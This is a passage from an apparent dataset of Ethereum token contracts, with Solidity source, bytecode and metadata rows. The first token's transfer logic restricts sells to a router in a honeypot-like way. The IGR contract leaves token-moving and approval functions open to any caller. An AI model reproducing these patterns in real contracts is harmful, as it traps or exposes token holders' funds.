function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == router) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80637b47ec1a11610097578063b4a99a4e11610066578063b4a99a4e146104b7578063c5398cfd14610501578063dd62ed3e1461052f578063f2fde38b146105a757610100565b80637b47ec1a1461035c57806395d89b411461038a57806396bfcd231461040d578063a9059cbb1461045157610100565b8063313ce567116100d3578063313ce567146102925780636aae83f3146102b657806370a08231146102fa578063715018a61461035257610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b6101f66106ab565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b5565b604051808215151515815260200191505060405180910390f35b61029a610774565b604051808260ff1660ff16815260200191505060405180910390f35b6102f8600480360360208110156102cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061078b565b005b61033c6004803603602081101561031057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610898565b6040518082815260200191505060405180910390f35b61035a6108e1565b005b6103886004803603602081101561037257600080fd5b8101908080359060200190929190505050610a6a565b005b610392610ca2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d25780820151818401526020810190506103b7565b50505050905090810190601f1680156103ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61044f6004803603602081101561042357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d44565b005b61049d6004803603604081101561046757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e51565b604051808215151515815260200191505060405180910390f35b6104bf610e6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61052d6004803603602081101561051757600080fd5b8101908080359060200190929190505050610e95565b005b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b6060600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6000600954905090565b60006106c284848461136d565b610769846106ce611206565b61076485600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061071b611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b61120e565b600190509392505050565b6000600d60009054906101000a900460ff16905090565b610793611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610854576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108e9611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a72611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b33576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610b53611206565b73ffffffffffffffffffffffffffffffffffffffff161415610b7457600080fd5b610b898160095461167e90919063ffffffff16565b600981905550610be88160056000610b9f611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b60056000610bf4611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c3a611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6060600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3a5780601f10610d0f57610100808354040283529160200191610d3a565b820191906000526020600020905b815481529060010190602001808311610d1d57829003601f168201915b5050505050905090565b610d4c611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e65610e5e611206565b848461136d565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e9d611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113a757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e157600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148c5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114a057600a54811061149f57600080fd5b5b6114f281600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061167683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b6000808284019050838110156116fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220176527180d5985def7eab703f1723c7222a3b0d88b343ab971365d585cb8668c64736f6c63430006070033
|
{"success": true, "error": null, "results": {}}
| 6,592 |
0x0cab2d4f3804de20facb7ae095d68b339e32732a
|
pragma solidity ^0.5.2;
// ----------------------------------------------------------------------------
// rev rbs eryk 190105.POC // Ver Proof of Concept compiler optimized - travou na conversao de GTIN-13+YYMM para address nesta versao 0.5---droga
// 'IGR' 'InGRedient Token with Fixed Supply Token' contract
//
// Symbol : IGR
// Name : InGRedient Token -based on ER20 wiki- Example Fixed Supply Token
// Total supply: 1,000,000.000000000000000000
// Decimals : 3
//
// (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence.
//
// (c) <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="4b0e3922282065322a262a2f2a0b2a273e2524653e2d2a2928652e2f3e652939">[email protected]</a> & <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="6b3902080a190f04452904190c0e182b1e0d0a0908450e0f1e450919">[email protected]</a>
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ----------------------------------------------------------------------------
contract InGRedientToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "IGR";
name = "InGRedientToken";
decimals = 3;//kg is the official unit but grams is mostly used
_totalSupply = 1000000000000000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ==================================================================
// >>>>>> IGR token specific functions <<<<<<
//===================================================================
event FarmerRequestedCertificate(address owner, address certAuth, uint tokens);
// --------------------------------------------------------------------------------------------------
// routine 10- allows for sale of ingredients along with the respective IGR token transfer
// --------------------------------------------------------------------------------------------------
function farmerRequestCertificate(address _certAuth, uint _tokens, string memory _product, string memory _IngValueProperty, string memory _localGPSProduction, string memory _dateProduction ) public returns (bool success) {
// falta implementar uma verif se o end certAuth foi cadastrado anteriormente
allowed[owner][_certAuth] = _tokens;
emit Approval(owner, _certAuth, _tokens);
emit FarmerRequestedCertificate(owner, _certAuth, _tokens);
return true;
}
// --------------------------------------------------------------------------------------------------
// routine 20- certAuthIssuesCerticate certification auth confirms that ingredients are trustworthy
// as well as qtty , published url, product, details of IGR value property, location , date of harvest )
// --------------------------------------------------------------------------------------------------
function certAuthIssuesCerticate(address owner, address farmer, uint tokens, string memory _url,string memory product,string memory IngValueProperty, string memory localGPSProduction, uint dateProduction ) public returns (bool success) {
balances[owner] = balances[owner].sub(tokens);
//allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(tokens);//nao faz sentido
allowed[owner][msg.sender] = 0;
balances[farmer] = balances[farmer].add(tokens);
emit Transfer(owner, farmer, tokens);
return true;
}
// --------------------------------------------------------------------------------------------------
// routine 30- allows for simple sale of ingredients along with the respective IGR token transfer ( with url)
// --------------------------------------------------------------------------------------------------
function sellsIngrWithoutDepletion(address to, uint tokens,string memory _url) public returns (bool success) {
string memory url=_url; // keep the url of the InGRedient for later transfer
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// --------------------------------------------------------------------------------------------------
// routine 40- allows for sale of intermediate product made from certified ingredients along with
// the respective IGR token transfer ( with url)
// i.e.: allows only the pro-rata quantity of semi-processed InGRedient tokens to be transfered
// --------------------------------------------------------------------------------------------------
function sellsIntermediateGoodWithDepletion(address to, uint tokens,string memory _url,uint out2inIngredientPercentage ) public returns (bool success) {
string memory url=_url; // keep the url of hte InGRedient for later transfer
require (out2inIngredientPercentage <= 100); // make sure the depletion percentage is not higher than 100(%)
balances[msg.sender] = balances[msg.sender].sub((tokens*(100-out2inIngredientPercentage))/100);// this will kill the tokens for the depleted part //
transfer(to, tokens*out2inIngredientPercentage/100);
return true;
}
//--------------------------------------------------------------------------------------------------
// aux function to generate a ethereum address from the food item visible numbers ( GTIN-13 + date of validity
// is used by Routine 50- comminglerSellsProductSKUWithProRataIngred
// and can be used to query teh blockchain by a consumer App
//--------------------------------------------------------------------------------------------------
function genAddressFromGTIN13date(string memory _GTIN13,string memory _YYMMDD) public pure returns(address b){
//address b = bytes32(keccak256(abi.encodePacked(_GTIN13,_YYMMDD)));
// address b = address(a);
bytes32 a = keccak256(abi.encodePacked(_GTIN13,_YYMMDD));
assembly{
mstore(0,a)
b:= mload(0)
}
return b;
}
// --------------------------------------------------------------------------------------------------
// transferAndWriteUrl- aux routine -Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// since the -url is passed to the function we achieve that this data be written to the block..nothing else needed
// --------------------------------------------------------------------------------------------------
function transferAndWriteUrl(address to, uint tokens, string memory _url) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// --------------------------------------------------------------------------------------------------
// routine 50- comminglerSellsProductSKUWithProRataIngred(address _to, int numPSKUsSold, ,string _url, uint _qttyIGRinLLSKU, string GTIN13, string YYMMDD )
// allows for sale of final-consumer product with resp SKU and Lot identification with corresponding IGR transfer with url
// i.e.: allows only the pro-rata quantity of semi-processed InGRedient tokens to be transfered to the consumer level package(SKU)
// --------------------------------------------------------------------------------------------------
function comminglerSellsProductSKUWithProRataIngred(address _to, uint _numSKUsSold,string memory _url,uint _qttyIGRinLLSKU, string memory _GTIN13, string memory _YYMMDD ) public returns (bool success) {
string memory url=_url; // keep the url of hte InGRedient for later transfer
address c= genAddressFromGTIN13date( _GTIN13, _YYMMDD);
require (_qttyIGRinLLSKU >0); // qtty of Ingredient may not be negative nor zero
//write IGR qtty in one SKU and url to the blockchain address composed of GTIN-13+YYMMDD
transferAndWriteUrl(c, _qttyIGRinLLSKU, _url);
//deduct IGRs sold by commingler from its balances
transferAndWriteUrl(_to, (_numSKUsSold-1)*_qttyIGRinLLSKU,_url);// records the transfer of custody of the qtty of SKU each with qttyIGRinLLSKU
return true;
}
}
|
0x60806040526004361061015d576000357c0100000000000000000000000000000000000000000000000000000000900480638829a5a7116100d3578063cae9ca511161008c578063cae9ca5114610f2d578063d4ee1d9014611037578063dc39d06d1461108e578063dd62ed3e14611101578063f07b9a0414611186578063f2fde38b146114805761015d565b80638829a5a714610aab5780638da5cb5b14610bb557806395d89b4114610c0c5780639ec12cfa14610c9c578063a9059cbb14610da6578063b689ca6114610e195761015d565b80633eaaf86b116101255780633eaaf86b14610354578063428c91ae1461037f578063483eef181461051e5780635484f4ef1461076057806370a0823114610a2f57806379ba509714610a945761015d565b806306fdde0314610162578063095ea7b3146101f257806318160ddd1461026557806323b872dd14610290578063313ce56714610323575b600080fd5b34801561016e57600080fd5b506101776114d1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b757808201518184015260208101905061019c565b50505050905090810190601f1680156101e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101fe57600080fd5b5061024b6004803603604081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061156f565b604051808215151515815260200191505060405180910390f35b34801561027157600080fd5b5061027a611661565b6040518082815260200191505060405180910390f35b34801561029c57600080fd5b50610309600480360360608110156102b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116bc565b604051808215151515815260200191505060405180910390f35b34801561032f57600080fd5b50610338611967565b604051808260ff1660ff16815260200191505060405180910390f35b34801561036057600080fd5b5061036961197a565b6040518082815260200191505060405180910390f35b34801561038b57600080fd5b506104dc600480360360408110156103a257600080fd5b81019080803590602001906401000000008111156103bf57600080fd5b8201836020820111156103d157600080fd5b803590602001918460018302840111640100000000831117156103f357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561045657600080fd5b82018360208201111561046857600080fd5b8035906020019184600183028401116401000000008311171561048a57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611980565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561052a57600080fd5b50610746600480360360c081101561054157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561058857600080fd5b82018360208201111561059a57600080fd5b803590602001918460018302840111640100000000831117156105bc57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001909291908035906020019064010000000081111561062957600080fd5b82018360208201111561063b57600080fd5b8035906020019184600183028401116401000000008311171561065d57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156106c057600080fd5b8201836020820111156106d257600080fd5b803590602001918460018302840111640100000000831117156106f457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611a61565b604051808215151515815260200191505060405180910390f35b34801561076c57600080fd5b50610a15600480360360c081101561078357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156107ca57600080fd5b8201836020820111156107dc57600080fd5b803590602001918460018302840111640100000000831117156107fe57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561086157600080fd5b82018360208201111561087357600080fd5b8035906020019184600183028401116401000000008311171561089557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156108f857600080fd5b82018360208201111561090a57600080fd5b8035906020019184600183028401116401000000008311171561092c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561098f57600080fd5b8201836020820111156109a157600080fd5b803590602001918460018302840111640100000000831117156109c357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611ab2565b604051808215151515815260200191505060405180910390f35b348015610a3b57600080fd5b50610a7e60048036036020811015610a5257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611caa565b6040518082815260200191505060405180910390f35b348015610aa057600080fd5b50610aa9611cf3565b005b348015610ab757600080fd5b50610b9b60048036036060811015610ace57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610b1557600080fd5b820183602082011115610b2757600080fd5b80359060200191846001830284011164010000000083111715610b4957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611e92565b604051808215151515815260200191505060405180910390f35b348015610bc157600080fd5b50610bca61202e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c1857600080fd5b50610c21612053565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c61578082015181840152602081019050610c46565b50505050905090810190601f168015610c8e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610ca857600080fd5b50610d8c60048036036060811015610cbf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610d0657600080fd5b820183602082011115610d1857600080fd5b80359060200191846001830284011164010000000083111715610d3a57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506120f1565b604051808215151515815260200191505060405180910390f35b348015610db257600080fd5b50610dff60048036036040811015610dc957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612293565b604051808215151515815260200191505060405180910390f35b348015610e2557600080fd5b50610f1360048036036080811015610e3c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610e8357600080fd5b820183602082011115610e9557600080fd5b80359060200191846001830284011164010000000083111715610eb757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919050505061242e565b604051808215151515815260200191505060405180910390f35b348015610f3957600080fd5b5061101d60048036036060811015610f5057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610f9757600080fd5b820183602082011115610fa957600080fd5b80359060200191846001830284011164010000000083111715610fcb57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050612511565b604051808215151515815260200191505060405180910390f35b34801561104357600080fd5b5061104c612760565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561109a57600080fd5b506110e7600480360360408110156110b157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612786565b604051808215151515815260200191505060405180910390f35b34801561110d57600080fd5b506111706004803603604081101561112457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128ea565b6040518082815260200191505060405180910390f35b34801561119257600080fd5b5061146660048036036101008110156111aa57600080fd5b81019080803573fffffff